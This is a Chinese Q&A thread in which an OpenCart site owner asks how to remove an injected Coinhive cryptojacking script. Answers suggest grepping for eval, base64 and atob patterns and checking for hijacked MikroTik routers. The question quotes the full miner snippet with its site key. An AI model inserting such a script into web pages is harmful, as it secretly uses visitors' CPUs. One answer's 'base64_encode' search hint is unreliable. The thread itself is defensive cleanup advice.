Question

我的网站被以下脚本感染

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
 <script>
    var miner = new CoinHive.Anonymous('79v4xchNCTv4p6KbAFjk95csadPQAzSy');
    miner.start();
</script>

在网站开放和制作时，它会自动增加我的CPU使用率高达100％网站速度极慢。我搜索了网站的完整源代码，但没有找到它的蚂蚁踪迹。我也搜索过数据库但找不到。

请建议如何从网站上完全删除它。我的网站是基于PHP的，用opencart创建。

Answer 1

从网站上删除所有黑客攻击可能很困难。

这里要寻找的主要功能是加密代码然后运行它的函数：

eval(base64_encode(

在源代码和数据库中搜索base64，您可以找到它。

Answer 2

检查文件中的unespace，document.write()，eval和atob()。

我认为您的网站位于Linux上，因此您可以grep获取字符串，并查看文件。

grep --include=\*.{php} -rnw '/var/www/html' -e "coinhive"
                  ^php files only  ^location to folder ^ string to search

Answer 3

看看您的路由器。如果您发现使用框架集包装的http网站，则-MirkoTik被劫持了。

1）https://xakep.ru/2018/08/03/mikrotik-under-attack/

2）https://www.zdnet.com/article/mikrotik-routers-enslaved-in-massive-coinhive-cryptojacking-campaign/

3）https://thehackernews.com/2018/09/mikrotik-router-hacking.html

coinhive脚本自动添加到我的网站标题中

3 个答案: